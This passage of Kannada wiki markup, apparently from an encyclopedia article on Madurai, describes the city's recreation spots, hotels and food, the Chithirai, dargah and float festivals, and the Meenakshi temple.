ಉತ್ತಂಗುಡಿಯಲ್ಲಿ ಹೊಂದಿದೆ. ಅನೇಕ ಇತರೆ ವಾಹಿನಿಗಳಾದ, [[ವಿಜಯ್‌ TV]], ರಾಜ್‌ TV, [[ಜಯಾ TV]], [[SS ಮ್ಯೂಸಿಕ್‌]] etc.ಗಳು ವಾರ್ತೆಗಳ ಮತ್ತು ಇತರ ಕಾರ್ಯಕ್ರಮಗಳ ವೇಗದ ಪ್ರಸಾರ ನೀಡಲು ಸಾಧ್ಯವಾಗುವಂತೆ, ಮಧುರೈನಲ್ಲಿಯೇ ತಮ್ಮ ಕಛೇರಿಗಳನ್ನು ಹೊಂದಿವೆ. == ಮನರಂಜನೆ == ನಗರದಲ್ಲಿ ಕೆಳಕಂಡ ವಾರಾಂತ್ಯ ಮೋಜುತಾಣಗಳಿವೆ: [[ಚಿತ್ರ:Athisayam park madurai.jpg|thumb|right|ಅಥಿಸಾಯಂ ಜಲ ಕ್ರೀಡಾ ತಾಣ]] * [[ಅಥಿಸಾಯಂ]] ವಾಟರ್‌ ಥೀಮ್‌ ಪಾರ್ಕ್‌: ಈ ಮನರಂಜನಾ ಜಲಕ್ರೀಡಾ ತಾಣವು ಮಧುರೈನ ಹೊರವಲಯದಲ್ಲಿರುವ (ನಗರದಿಂದ 20&nbsp;km ದೂರದಲ್ಲಿದೆ) ಎಲ್ಲಾ ವಯೋಮಾನದ ಜನರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ ಮತ್ತು ಮಧುರೈನಲ್ಲಿನ ಹಾಗೂ ಸುತ್ತಮುತ್ತಲಿನ ವಿವಿಧ ಪ್ರದೇಶಗಳ ಜನರು ಇಲ್ಲಿಗೆ ಬರುತ್ತಾರೆ. ಅನೇಕ ಉನ್ನತ ತಂತ್ರಜ್ಞಾನದ ಮನರಂಜನಾ ಆಟಗಳು ಪ್ರೇಕ್ಷಕರಿಗೆ/ಸಂದರ್ಶಕರಿಗೆ ಆಸಕ್ತಿದಾಯಕ ಅನುಭವಗಳನ್ನು ನೀಡುತ್ತವೆ. ಈ ತಾಣವನ್ನು ವೈಜ್ಞಾನಿಕವಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾಗಿದೆ ಮತ್ತು ಬೇಸಿಗೆಯ ಬೇಗೆಯಲ್ಲಿ ಸೂಕ್ತವಾದ ತಾಣವಾಗಿರುತ್ತದೆ. * ಇಕೋ ಪಾರ್ಕ್: ನಗರದ ಪೌರ ಸಂಸ್ಥೆ ಕಚೇರಿ ಕಟ್ಟಡದ ಬಳಿಯಿರುವ ಈ ಮನರಂಜನಾ ತಾಣವ ಬೆಳಕಿನ ವ್ಯವಸ್ಥೆ ಮತ್ತು ಕಾರಂಜಿ ವ್ಯವಸ್ಥೆಗಳು ಆಕರ್ಷಕವಾಗಿವೆ ಮತ್ತು ಆಪ್ಟಿಕ್‌ ಫೈಬರ್‌ ಮರಗಳನ್ನು ಬೆಳಗಿಸಿ ದೇದೀಪ್ಯಮಾನವಾಗಿಸುವುದು ಕಣ್ಣಿಗೆ ಆಹ್ಲಾದವನ್ನುಂಟು ಮಾಡುತ್ತದೆ. ಈ ತಾಣದಲ್ಲಿನ ಅತ್ಯಂತ ಚಿತ್ತಾಕರ್ಷಕ ವ್ಯವಸ್ಥೆ ಎಂದರೆ ಸಂಗೀತಕ್ಕೆ ತಕ್ಕಂತೆ ನರ್ತಿಸುವ ಸಂಗೀತ ಕಾರಂಜಿ. * ಹವಾ ವ್ಯಾಲಿ: ಮಧುರೈನ ಹೊರವಲಯದಲ್ಲಿರುವ ನಾಥಂ ರಸ್ತೆಯಲ್ಲಿ ಈ ತಾಣವಿದೆ. ಪರ್ವತಗಳ/ಬೆಟ್ಟಗಳ ಹಿನ್ನೆಲೆಯೊಂದಿಗೆ ಇದು ನೈಸರ್ಗಿಕ ಸೌಂದರ್ಯದ ಅನುಭೂತಿ ನೀಡುತ್ತದೆ. ಇದರಲ್ಲಿ ಭೋಜನಾಲಯ/ರೆಸ್ಟೋರೆಂಟ್‌ ಹಾಗೂ ಕಿರು ರೇಸ್‌ಕಾರ್‌ಗಳ ಆಟದ ವ್ಯವಸ್ಥೆ ಸಹಾ ಇದೆ. * ರಾಜಾಜಿ ಮಕ್ಕಳ ಪಾರ್ಕ್: [[ಚಿತ್ರ:31Madura Teppakulam.jpg|thumb|right|ಮಾರಿಯಮ್ಮನ್‌ ತೆಪ್ಪಕ್ಕುಲಂ (ದೇವಾಲಯದ ಕೊಳ)]] ಈ ತಾಣವು ಗಾಂಧಿ ವಸ್ತು ಸಂಗ್ರಹಾಲಯ ಮತ್ತು ತಮುಕ್ಕಮ್‌ ಮೈದಾನಗಳ ನಡುವೆ ಇದೆ. ಇದರಲ್ಲಿ ಮಕ್ಕಳು ಆಡುವಂತಹಾ ಅನೇಕ ಆಟಗಳಿವೆ ಹಾಗೂ ಕ್ರೀಡಾ ಸಾಧನಗಳಿವೆ, ಹಾಗೂ ಮೂಂಗಾ ಆರ್ಯ ಭವನ್‌ ಮತ್ತು ಇತರೆ ಇನ್ನಿತರ ಉಪಹಾರ ಗೃಹಗಳಿವೆ. ಇಷ್ಟೇ ಅಲ್ಲದೇ ಪಕ್ಷಿಗಳ ಸಂಗ್ರಹಾಲಯವೂ ಇದೆ ಮತ್ತು ಚಿತ್ತಾಕರ್ಷಕ ಬೆಳಕಿನ ಹಾಗೂ ಸಂಗೀತ ವ್ಯವಸ್ಥೆ ಸಹಾ ಇದೆ. ಈ ತಾಣವನ್ನು ಮಧುರೈ ಪೌರಸಂಸ್ಥೆಯು ತನ್ನ ವ್ಯಾಪ್ತಿಯಲ್ಲಿ ನಿರ್ವಹಿಸುತ್ತದೆ. * MGR ರೇಸ್‌ ಕೋರ್ಸ್‌ ಕ್ರೀಡಾಂಗಣ: ಇದೊಂದು ಅಥ್ಲೆಟಿಕ್‌ ಕ್ರೀಡಾಂಗಣವಾಗಿದ್ದು ಕೃತಕ ಪಥವೂ ಇದೆ. ಅನೇಕ ರಾಷ್ಟ್ರೀಯ ಕೂಟಗಳನ್ನು ಇಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತದೆ ಹಾಗೂ ಅಂತರರಾಷ್ಟ್ರೀಯ ಕಬಡ್ಡಿ ಚಾಂಪಿಯನ್‌ಷಿಪ್‌ ಪಂದ್ಯಗಳನ್ನು ಇಲ್ಲಿ ನಡೆಸಲಾಗಿತ್ತು. * ಅರಸರಡಿ ಮೈದಾನ: ಇದು ನಗರದಲ್ಲಿರುವ ಏಕೈಕ ಕ್ರಿಕೆಟ್‌ ಕ್ರೀಡಾಂಗಣ. * ಥೆಪ್ಪಕುಲಂ: ನಗರದಲ್ಲಿ ಥೆಪ್ಪಕುಲಂ ಎಂದು ಕರೆಯಲಾಗುವ ವಂಡಿಯೂರು ಮಾರಿಯಮ್ಮನ್‌‌ ದೇಗುಲಕ್ಕೆ ಸೇರಿದ ಪವಿತ್ರ ದೈವಿಕ ಕೊಳವಿದೆ. ಇತ್ತೀಚೆಗೆ ಇದೊಂದು ಪಿಕ್‌ನಿಕ್‌ ಸ್ಥಳವಾಗಿ ಮಾರ್ಪಟ್ಟಿದೆ. ಇದರ ಮಧ್ಯದಲ್ಲಿ ಕಲ್ಲಿನಿಂದ ಕೃತಕ ದ್ವೀಪವೊಂದನ್ನು ನಿರ್ಮಿಸಲಾಗಿದೆ. ಈ ಕೊಳವನ್ನು ಸರಿಸುಮಾರು 1500 A.Dದ ಸಮಯದಲ್ಲಿ ಕಟ್ಟಲಾಗಿತ್ತು. == ಆತಿಥ್ಯ/ಅತಿಥಿ ಸತ್ಕಾರ == [[ಚಿತ್ರ:Taj Garden Retreat 3.jpg|thumb|right|ಗೇಟ್‌ವೇ ಹೋಟೆಲ್‌ (ತಾಜ್‌ ಗಾರ್ಡನ್‌ ರಿಟ್ರೀಟ್‌ )]] ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ, ನಗರವು ಅತಿಥಿ ಸತ್ಕಾರ ಉದ್ಯಮದಲ್ಲಿ ಬೆಳವಣಿಗೆ ಕಾಣುತ್ತಲಿದೆ. ಐಷಾರಾಮಿ ಪಂಚತಾರಾ ಹೋಟೆಲ್‌ "ಹೆರಿಟೆನ್ಸ್‌ ಮಧುರೈ " <ref>{{cite web|url= http://www.heritancehotels.com/ |title= Heritance Hotels = 2009-01-11}}</ref><ref>{{cite web |url= http://www.dailymirror.lk/DM_BLOG/Sections/frmNewsDetailView.aspx?ARTID=34580 |title= Aitken Spence launches Heritance Madurai in India = 2008-12-28 |access-date= 2009-12-22 |archive-date= 2008-12-26 |archive-url= https://web.archive.org/web/20081226205128/http://www.dailymirror.lk/DM_BLOG/Sections/frmNewsDetailView.aspx?ARTID=34580 |url-status= dead }}</ref> ಭಾರತದ ಅತ್ಯುತ್ತಮ ಶ್ರೇಣಿಯ ಐಷಾರಾಮಿ ಹೋಟೆಲ್‌ಗಳಲ್ಲಿ ಒಂದು. ಇನ್ನಿತರ ಮೇಲ್‌ಮಟ್ಟದ ಹೋಟೆಲ್‌ಗಳೆಂದರೆ [http://www.royalcourtindia.com ರಾಯಲ್‌ ಕೋರ್ಟ್‌], [http://www.grthotels.com/Home.aspx?gclid=CP-m3tvY0ZgCFdST3wodIycQ1w ಹೋಟೆಲ್‌ GRT ರೀಜೆನ್ಸಿ] {{Webarchive|url=https://web.archive.org/web/20110711131729/http://www.grthotels.com/Home.aspx?gclid=CP-m3tvY0ZgCFdST3wodIycQ1w |date=2011-07-11 }}, ಗೇಟ್‌ವೇ ಹೋಟೆಲ್‌ (ತಾಜ್‌ ಗಾರ್ಡನ್‌ ರಿಟ್ರೀಟ್‌), ಹೋಟೆಲ್‌ ಜರ್ಮೇನಸ್‌‌, ನಾರ್ತ್‌ ಗೇಟ್‌‌, ಮಧುರೈ ರೆಸಿಡೆನ್ಸಿ, ಹೋಟೆಲ್‌ ಸಂಗಂ ಮತ್ತು ಹೋಟೆಲ್‌ ಫಾರ್ಚ್ಯೂನ್‌ ಪಾಂಡಿಯನ್‌. ದಕ್ಷಿಣ ಭಾರತದ,ಪಂಜಾಬಿ, ಮೊಘಲಾಯಿ ಸೇರಿದಂತೆ ಬಹುಪಾಲು ಭಾರತೀಯ ವೈವಿಧ್ಯಗಳು ಮತ್ತು ಐರೋಪ್ಯ, ಚೀನೀ ಆಹಾರಗಳು/ಖಾದ್ಯಗಳು ನಗರದ ಹೋಟೆಲ್‌/ರೆಸ್ಟೋರೆಂಟ್‌ಗಳಲ್ಲಿ<ref>{{cite web|url= http://www.tourism-of-india.com/hotels-in-tamil-nadu/madurai-hotels/ |title= Hotels in Madurai= 2009-01-09}}</ref><ref>{{cite web|url= http://www.madurai.com/eat.htm |title= Where to Eat in madurai = 2009-01-09}}</ref> ಲಭ್ಯವಿವೆ. ಮಧುರೈ ತನ್ನ ವೈವಿಧ್ಯತೆ ಹೊಂದಿರುವ ಚಟ್ನಿಗಳೊಂದಿಗೆ [[ಇಡ್ಲಿಗಳಿಗೆ]] ಪ್ರಸಿದ್ಧವಾಗಿದ್ದು, ಅವು ಬಹುತೇಕ ಎಲ್ಲಾ ರೆಸ್ಟೋರೆಂಟ್‌ಗಳಲ್ಲಿ ಲಭ್ಯವಿದೆ. ಪಶ್ಚಿಮ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿರುವ ಮುರುಗನ್‌ ಇಂಡ್ಲಿ ಖಾನಾವಳಿ ಮತ್ತು ರೈಲು ನಿಲ್ದಾಣದ ಖಾನಾವಳಿಗಳು ತಮ್ಮ ಇಡ್ಲಿಗಳಿಗೆ [[ತಮಿಳುನಾಡಿನಾ]]ದ್ಯಂತ ಪ್ರಸಿದ್ಧವಾಗಿವೆ. == ಹಬ್ಬಗಳು/ಉತ್ಸವಗಳು/ಜಾತ್ರೆಗಳು == ಮಧುರೈ ಜನರು ಅನೇಕ ಉತ್ಸವಗಳನ್ನು/ಹಬ್ಬಗಳನ್ನು ಆಚರಿಸುತ್ತಾರೆ. ಕೆಲ ಪ್ರಮುಖ ಹಬ್ಬಗಳೆಂದರೆ, ದೇವಿ ಮೀನಾಕ್ಷಿ ತಿರುಕಲ್ಯಾಣಂ, ಚಿತ್ತಿರೈ ಉತ್ಸವ, ದೀಪಾವಳಿ/ದಿವಾಲಿ, ಪೊಂಗಲ್, ತೆಪ್ಪೋರ್ಚವಂ, ರಥೋತ್ಸವಗಳು etc.<ref name="madurai.nic.in">{{Cite web |url=http://madurai.nic.in/festivals.html |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-12-22 |archive-date=2011-07-21 |archive-url=https://web.archive.org/web/20110721172002/http://madurai.nic.in/festivals.html |url-status=dead }}</ref><ref name="madurai.nic.in"/><ref>http://www.templenet.com/Tamilnadu/Madurai/festival1.html</ref><ref>http://www.madurai.org.uk/culture/float-festival.html</ref><ref>{{Cite web |url=http://www.madurai-vacations.com/maduraifestivals.htm |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2009-12-22 |archive-date=2009-10-03 |archive-url=https://web.archive.org/web/20091003132320/http://madurai-vacations.com/maduraifestivals.htm |url-status=dead }}</ref> === ಮೀನಾಕ್ಷಿ ತಿರುಕಲ್ಯಾಣಂ &amp; ಚಿತ್ತಿರೈ ಉತ್ಸವ === ಚಿತ್ತಿರೈ (ಮೇಷ) ತಿಂಗಳಲ್ಲಿ ಆಚರಿಸುವ ವಾರ್ಷಿಕ ಬ್ರಹ್ಮೋತ್ಸವ ಅತ್ಯಂತ ಪ್ರಮುಖವಾದುದಲ್ಲದೇ, ಇದು ಮಧುರೈ ದೇಗುಲಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ದಂತಕಥೆಗಳಾದ [http://www.templenet.com/Tamilnadu/Madurai/legend3.html ಮೀನಾಕ್ಷಿಯ ಪಟ್ಟಾಭಿಷೇಕ], ಅಲೌಕಿಕ ಮದುವೆ etcಗಳೊಂದಿಗೆ ಬೆಸೆದುಕೊಂಡಿದೆ. ಚಿತ್ತಿರೈ ಉತ್ಸವವು [http://www.templenet.com/Tamilnadu/df102.html ತಿರುಮಾಲಿರುಂಚೋಳೈ] ನ ವಾರ್ಷಿಕ ಉತ್ಸವದ ಸಮಯದಲ್ಲಿಯೇ ನಡೆಯುತ್ತದೆ. ಈ ದೈವಿಕ ಮದುವೆಯು [http://www.templenet.com/Tamilnadu/m002.html ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂ] ನಿಂದ ಬರುವ ದೇವತೆಗಳ ಮೆರವಣಿಗೆಯನ್ನೂ ಒಳಗೊಂಡಿರುವುದರಿಂದ, ಆ ಸಮಯದಲ್ಲಿ ಮಧುರೈ ಹಾಗೂ ಸುತ್ತಮುತ್ತಲಿನ ಇಡೀ ಪ್ರದೇಶವು ವಿಶೇಷ ಆಚರಣೆಗಳ ಸ್ಥಳವಾಗಿ ಮಾರ್ಪಟ್ಟಿರುತ್ತದೆ. ಚಿತ್ತಿರೈ ತಿಂಗಳಿನ ಉಜ್ವಲ ಕಾಲದ 5ನೇ ದಿನದಂದು ಚಿತ್ತಿರೈ ಉತ್ಸವವು ಆರಂಭಗೊಳ್ಳುತ್ತದೆ. ಉತ್ಸವದ 8, 9 ಮತ್ತು 10ನೇ ದಿನಗಳಲ್ಲಿ ಪ್ರಮುಖ ಆಚರಣೆಗಳು ನಡೆಯುತ್ತವೆ. ಚಿತ್ತಿರೈ ಉತ್ಸವದ ಎಂಟನೇ ದಿನವು ಮೀನಾಕ್ಷಿಯ ಪಟ್ಟಾಭಿಚೇಕ ಮತ್ತು ಬೆಳ್ಳೀ ಸಿಂಹಾಸನದ ಮೇಲೆ ಮೆರವಣಿಗೆ ಇತ್ಯಾದಿಗಳು ನಡೆದರೆ, 9ನೇ ದಿನ ದಿಗ್ವಿಜಯ ಉತ್ಸವವು ನಡೆಯುತ್ತದೆ. 10ನೇ ದಿನದಲ್ಲಿ (ಚಿತ್ರ ಪೂರ್ಣಿಮೆ/ಪೌರ್ಣಿಮೆ) ಮೀನಾಕ್ಷಿ ಮತ್ತು ಸುಂದರೇಶ್ವರರ್‌ರ ವಿವಾಹ ಮಹೋತ್ಸವವು ನಡೆಯುತ್ತದೆ. ದಂತಕಥೆಗಳ ಪ್ರಕಾರ ವಿಷ್ಣು ತನ್ನ ಸೋದರಿಯನ್ನು ಶಿವನಿಗೆ ಮದುವೆ ಮಾಡಿಕೊಡುತ್ತಾನೆ. ಈ ದಂತಕಥೆಯ ನೆನಪಿಗಾಗಿ ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂನಿಂದ ಮಧುರೈಗೆ ಮೆರವಣಿಗೆ ಮೂಲಕ ವಿಷ್ಣುವಿನ ಮೂರ್ತಿಯೊಂದನ್ನು ಕರೆತರಲಾಗುತ್ತದೆ. ಸುಬ್ರಮ್ಹಣ್ಯ/ಸುಬ್ರಮಣ್ಯ ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂ ದೇಗುಲದ ಪ್ರಮುಖ/ಮೂಲ ದೇವರಾದುದದರಿಂದ, ಸುಬ್ರಮ್ಹಣ್ಯ/ಸುಬ್ರಮಣ್ಯ ಮೂರ್ತಿಯು ಮೆರವಣಿಗೆಯ ಮುಂಚೂಣಿಯಲ್ಲಿರುತ್ತದೆ. ವಿವಾಹ ಮಹೋತ್ಸವದ ನಂತರ ಮೀನಾಕ್ಷಿ ಮತ್ತು ಸುಂದರೇಶ್ವರರ್‌ರ ಮೂರ್ತಿಗಳನ್ನು ಪಲ್ಲಕ್ಕಿಯ ಮೇಲೆ ಹಾಗೂ ಬೆಳ್ಳಿಯ ಆನೆಯ ಮೇಲಿನ ಭವ್ಯ ಮೆರವಣಿಗೆಯಲ್ಲಿ ಅನುಕ್ರಮವಾಗಿ ಕರೆದೊಯ್ಯಲಾಗುತ್ತದೆ. (ಇಲ್ಲಿ ಗಮನಿಸಬೇಕಾದ ವಿಷಯವೆಂದರೆ ಚಿತ್ತಿರೈ ತಿಂಗಳಲ್ಲಿ ವಾರ್ಷಿಕ ಬ್ರಹ್ಮೋತ್ಸವಂ ಆಚರಿಸುವ ಎಲ್ಲಾ ಶಿವ ದೇಗುಲಗಳಲ್ಲಿ ತಿರುಕ್ಕಲ್ಯಾಣಂ ಉತ್ಸವವನ್ನು ಚಿತ್ರ ಪೌರ್ಣಮಿಯಂದು ಆಚರಿಸಲಾಗುತ್ತದೆ). ಈ ಅವಧಿಯಲ್ಲಿ ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ (ತಿರುಮಾಲಿರುಂಚೋಳೈ)ನಿಂದ ಕಲ್ಲಜ್ಹಘರ್‌ ಮಧುರೈನ ಪೂರ್ವ ಹೊರವಲಯದ ವೈಗೈ ನದಿ ಸಮೀಪದ ವಂಡಿಯೂರಿಗೆ ಭೇಟಿ ನೀಡುತ್ತಾರೆ. ನಂಬಿಕೆಯ ಪ್ರಕಾರ ಕಲ್ಲಜ್ಹಘರ್‌ ತನ್ನ ಸಹೋದರಿಯ ಮದುವೆಗೆ ತುಂಬ ತಡವಾಗಿ ಬಂದೆನೆಂದು ಅರಿವಾಗಿ ನಿರಾಶೆಯಿಂದ ನದಿ ದಾಟಲು ನಿರಾಕರಿಸಿ ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ಗೆ ಮರಳುತ್ತಾರೆ. ಐತಿಹಾಸಿಕವಾಗಿ, ಚಿತ್ತಿರೈ ಉತ್ಸವವನ್ನು ಮಾಸ್ಸಿಯಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತಿತ್ತು, ಹಾಗಾಗಿಯೇ ಉತ್ಸವದ ಮೆರವಣಿಗೆಗಳು ಮಾಸಿ ಬೀದಿಗಳಲ್ಲೇ ನಡೆಯುತ್ತವೆ. ನಾಯಕ್‌ ರಾಜರುಗಳ ಕಾಲದಲ್ಲಿ ಉತ್ಸವವನ್ನು ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ನ ಆಚರಣೆಯ ಕಾಲಕ್ಕೆ ಸರಿಹೊಂದುವಂತೆ ಮಾಡಲು ಎದ್ದುಕಾಣುವಂತೆ ಚಿತ್ತಿರೈ ತಿಂಗಳಿಗೆ ಬದಲಾಯಿಸಲಾಯಿತು. ತೇರು (ರಥ) ಉತ್ಸವವನ್ನು ವಾರ್ಷಿಕೋತ್ಸವದ 11ನೇ ದಿನ ಆಚರಿಸಲಾಗುತ್ತದೆ. === ಸಂತನಕೂಡು ಉತ್ಸವಗಳು === ಆಯಾ ದರ್ಗಗಳ ಸಂತರ ನೆನಪಿಗಾಗಿ ಸಂತನಕೂಡು ಉತ್ಸವಗಳನ್ನು ದರ್ಗಾಗಳಲ್ಲಿ ಆಚರಿಸಲಾಗುತ್ತದೆ. ಸುತ್ತಮುತ್ತಲಿನ ದರ್ಗಾಗಳು ಹಾಗೂ ಅಲ್ಲಿನ ಸಂತನಕೂಡು ಉತ್ಸವದ ದಿನಾಂಕಗಳು. {| class="wikitable" |- ! ದರ್ಗಾ ! ಸಂತರ ಹೆಸರು ! ಸ್ಥಳ ! ಸಂತನಕೂಡು ಉತ್ಸವದ ದಿನಾಂಕ ([[ಹಿಜರಿ ಪಂಚಾಂಗ]])) |- | ಸಿಕಂದರ್‌ ಮಲೈ | ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ರಾಜಿ.. | [[ತಿರುಪಾರಾಂಕುಂದ್ರಂ]] | [[ರಜಾಬ್]]-15 |- | ಕಣವೈ | ಜರತ್‌‌ ಸೈಯದ್‌ ಇಬ್ರಾಹಿಂ ವಲೈಯುಲ್ಲಾಹ್‌ ರಾಜಿ.. | ಮೇಲಕ್ಕಳ್‌ | ರಬಿ' ಅಲ್‌-ಥಾಣಿ/0}-2 |- | ತಿರುವೇದಗಂ | ಹಜರತ್‌‌ ಷಾ ಹುಸೇನ್‌ ಪರ್ಹೇಜ್‌ ರಾಜಿ... | [[ಷೋ/ಶೋಲಾವಂದನ್]] | [[ಮು/ಮೊಹರ್ರಂ]]-26 |- |} === ತೆಪ್ಪೋರ್ಚವಂ/ತೆಪ್ಪೋತ್ಸವ === ಈ ಉತ್ಸವವನ್ನು ಜನವರಿ ತಿಂಗಳಲ್ಲಿ, ಥಾ/ಥಯ್‌ ತಮಿಳು ತಿಂಗಳಿನ ಹುಣ್ಣಿಮೆಯ ದಿನದಂದು ಆಚರಿಸಲಾಗುತ್ತದೆ . ಅಲಂಕೃತವಾದ ದೇವತೆ ಮೀನಾಕ್ಷಿ ಹಾಗೂ ಆಕೆಯ ಪತಿಯ ಪ್ರತಿಮೆಗಳನ್ನು ವರ್ಣಮಯ ಮೆರವಣಿಗೆಯಲ್ಲಿ ಮೀನಾಕ್ಷಿ ದೇವಸ್ಥಾನದಿಂದ ದೊಡ್ಡದಾದ ಮಾರಿಯಮ್ಮನ್‌ ತೆಪ್ಪಕುಲಂಗೆ ಕರೆದೊಯ್ಯಲಾಗುತ್ತದೆ. ಈ ಪ್ರತಿಮೆಗಳನ್ನು ಮಿನುಗುತ್ತಿರುವ ದೀಪಗಳು ಹಾಗೂ ಹೂವಿಗಳಿಂದ ಅಲಂಕೃತವಾದ ತೆಪ್ಪದ ಮೇಲಿಟ್ಟು ಕೆರೆಯ ಮೇಲೆ ತೇಲಿ ಬಿಡಲಾಗುತ್ತದೆ. [http://www.madurai.org.uk/culture/float-festival.html ಇಲ್ಲಿ ನೋಡಿ] === ಮತ್ತು ಪೊಂಗಲ್‌ &amp; ಪ್ರಸಿದ್ಧ ಅಲಂಗನಲ್ಲೂರ್‌ ಜಲ್ಲಿಕಟ್ಟು === == ಪ್ರವಾಸೋದ್ಯಮ ಮತ್ತು ಹೆಗ್ಗುರುತುಗಳು == ಭಾರತದ ಅತಿ ಪ್ರಮುಖ [[ಹಿಂದು]] ತೀರ್ಥಯಾತ್ರಾ ಸ್ಥಳಗಳಲ್ಲಿ ಮಧುರೈ ಒಂದಾಗಿದೆ. ನಗರವು ಹಾಗೂ ಬಹು ಸಂಖ್ಯೆಯ ದೇಶದೊಳಗಿನ ಯಾತ್ರಾರ್ಥಿಗಳನ್ನು ಮತ್ತು ವಿದೇಶಿ ಪ್ರವಾಸಿಗರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ. 2007ರಲ್ಲಿ ಸರಿಸುಮಾರು 4,100,000 ಪ್ರವಾಸಿಗರು ಮಧುರೈಗೆ ಭೇಟಿ ನೀಡಿದ್ದರು, ಅವರಲ್ಲಿ 224,000<ref>{{cite web|url= http://www.hindu.com/2007/11/05/stories/2007110555110600.htm|title= Tourism works around temple to be over by March|accessdate= 2009-01-24|archive-date= 2007-11-07|archive-url= https://web.archive.org/web/20071107054448/http://www.hindu.com/2007/11/05/stories/2007110555110600.htm|url-status= dead}}</ref> ಮಂದಿ ವಿದೇಶಿಗರಿದ್ದರು. ==== ಮೀನಾಕ್ಷಿ -ಸುಂದರೇಶ್ವರರ್ ದೇಗುಲ ==== [[ಚಿತ್ರ:Madurei 350.jpg|thumb|right|ಮೀನಾಕ್ಷಿ ಅಮ್ಮನ್‌ ದೇವಾಲಯ]] ಇಂದಿಗೂ ಭಾರತದ ಅತಿ ಪ್ರಮುಖ ಸಾಂಸ್ಕೃತಿಕ ಮತ್ತು ವಾಸ್ತುವೈಭವದ ಹೆಗ್ಗುರುತುಗಳಲ್ಲಿ ಒಂದಾಗಿರುವ ಮಧುರೈನ [[ಮೀನಾಕ್ಷಿ-ಸುಂದರೇಶ್ವರರ್‌]] ದೇಗುಲವನ್ನು ಮೂಲತಃ ಪ್ರಾಚೀನ ಪಾಂಡ್ಯರ ಅರಸ ಕುಲಶೇ/ಸೇಖರನು ಕಟ್ಟಿಸಿದ್ದು ಎನ್ನಲಾಗುತ್ತದೆ. [[ತಮಿಳುನಾಡಿನ ಪ್ರಧಾನ ಶಿವ ದೇವಾಲಯ]]ಗಳಲ್ಲಿ ಇದೂ ಒಂದಾಗಿದೆ. ಚಕ್ರವ್ಯೂಹದಂತಹ ಸುತ್ತುಬಳಸಿನ ಜಟಿಲ ರಚನೆಯ ಮೀನಾಕ್ಷಿ ದೇಗುಲವು ದೇವತೆ ಮೀನಾಕ್ಷಿ ಮತ್ತು ಆಕೆಯ ಪತಿ ಸುಂದರೇಶ್ವರರ್‌ (''ಸ್ಫುರದ್ರೂಪಿ ದೇವ'' )ರ ಪ್ರೇಮವನ್ನು ಆಚರಿಸುವ ವಿಶ್ವಪ್ರಸಿದ್ಧವಾಗಿದೆ<ref name="FrommersIndia" />. ಪ್ರಾಚೀನ ಮಧುರೈ ನಗರವನ್ನು ಕಮಲದ ಆಕೃತಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದ್ದು, ದೇಗುಲವು ಕೇಂದ್ರಭಾಗದಲ್ಲಿದ್ದು ರಸ್ತೆಗಳು ಹಾಗೂ ರಾಜಮಾರ್ಗಗಳು ಒಂದರ ನಂತರ ಒಂದರಂತೆ ಏಕಕೇಂದ್ರಿತವಾಗಿ ಕೇಂದ್ರದಿಂದ ಹೊರಕ್ಕೆ ಬರುವಂತೆ ಇದೆ. ದಂತಕಥೆಯೊಂದರ ಪ್ರಕಾರ ನಗರಕ್ಕೆ ಹೆಸರಿಡಬೇಕಾದ ದಿನದಂದು, ಮಹಾಶಿವನು ನಗರ ಹಾಗೂ ನಗರದ ಜನರ ಮೇಲೆ ತನ್ನ ಜಟೆಯಿಂದ ಅಮೃತವನ್ನು ಪ್ರೋಕ್ಷಿಸಿ ಆಶೀರ್ವದಿಸಿದನು. ಹಾಗಾಗಿ ನಗರವು ''ಮಧುರಾಪುರಿ'' ಎಂದರೆ ''ಪವಿತ್ರ ಅಮೃತ ನಗರಿ'' ಎಂಬರ್ಥ ಬರುವ ಹೆಸರನ್ನು ಹೊಂದಿತು. ಈ ದಂತಕಥೆಯು ಉಳಿದಂತೆ ದ್ರಾವಿಡ ನಗರವಾಗಿದ್ದ ಮಧುರೈನ ವ್ಯುತ್ಪನ್ನವನ್ನು ಸಂಸ್ಕೃತೀಕರಿಸಲು/ಆರ್ಯವ್ಯುತ್ಪನ್ನಕ್ಕೆ ಬದಲಿಸಲು ತಡವಾಗಿ ಹೆಣೆದಿರಬಹುದಾಗಿದ್ದ ಕಥೆಯಾಗಿರಬಹುದು. ಇದೇ ಸ್ಥಳದಲ್ಲಿ ನಟರಾಜರ್‌ ದೇವನು ತನ್ನ ಬಲಗಾಲೆತ್ತಿ ನೃತ್ಯ ಮಾಡಿದ್ದು. (ಕಾಲ್‌ ಮಾರಿಯ ಆದಿಯಾ ನಟರಾಜರ್). ಮಹಾಶಿವನಿಗೆ ನಿರ್ಮಾಣವಾದ ದೇಗುಲವನ್ನು ಕಂಡು ಆನಂದವಾಗಿ ವಿಭಿನ್ನರೀತಿಯ ನೃತ್ಯವನ್ನು ಮಾಡಿದನು. [[ಕನ್ನಗಿ]] ಇಡೀ ನಗರವನ್ನು ದಹಿಸಿದ ಮೇಲೂ ಉಳಿದುಕೊಂಡ ದೇವಸ್ಥಾನವಿದು. ಪ್ರಸಕ್ತ ಕನಿಷ್ಟ 2009ರ ಕೊನೆಯವರೆಗೆ ಎಲ್ಲಾ ಗೋಪುರಗಳನ್ನು ಅದರ ಮೇಲಿನ ಶೀಲ್ಪಕಲೆಗಳು ಕಾಣದಂತೆ ಮರೆಮಾಚಿ ಅಪಾರದರ್ಶಕ ಮುಸುಕುಗಳು ಹಾಗೂ ಚೌಕಟ್ಟುಗಳನ್ನು ಇಳಿಬಿಡಲಾಗಿದೆ. ==== ತಿರುಮಲೈ 